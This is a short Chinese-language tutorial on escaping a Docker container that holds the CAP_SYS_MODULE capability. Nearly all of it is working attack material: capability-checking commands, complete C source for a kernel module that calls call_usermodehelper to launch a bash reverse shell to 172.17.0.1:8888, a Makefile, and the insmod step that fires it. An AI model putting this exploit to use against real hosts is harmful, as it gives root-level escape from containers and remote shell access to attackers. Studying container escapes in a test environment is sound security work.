云安全(2)--CAP_SYS_MODULE逃逸

测试环境配置

docker run -it --cap-add=SYS_MODULE  ubuntu:18.04
1

实际环境利用

cat /proc/self/status|grep Cap
1

然后使用capsh decode一下

capsh --decode=00000000a80525fb
1

发现有CAP_SYS_MODULE权限，那么直接往内核注入恶意module,我们直接在容器里面安装必备的东西

apt update&&apt install -y gcc make  vim  linux-headers-$(uname -r) kmod
1

exp.c

#include 
MODULE_LICENSE("GPL");
char *argv[] = {
    "/bin/bash",
    "-c",    
    "bash -i >&/dev/tcp/172.17.0.1/8888 0>&1",
    NULL    
};
static int __init connect_back_init(void)
{

    return call_usermodehelper(
        argv[0],     
        argv,        
        NULL,        
        UMH_WAIT_EXEC // don't wait for program return status
    );
}

static void __exit connect_back_exit(void)
{
}

module_init(connect_back_init);
module_exit(connect_back_exit);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

Makefile

obj-m += exp.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
1
2
3
4
5

make all编译一下

insmod exp.ko //就会反弹shell
rmmod exp.ko
1
2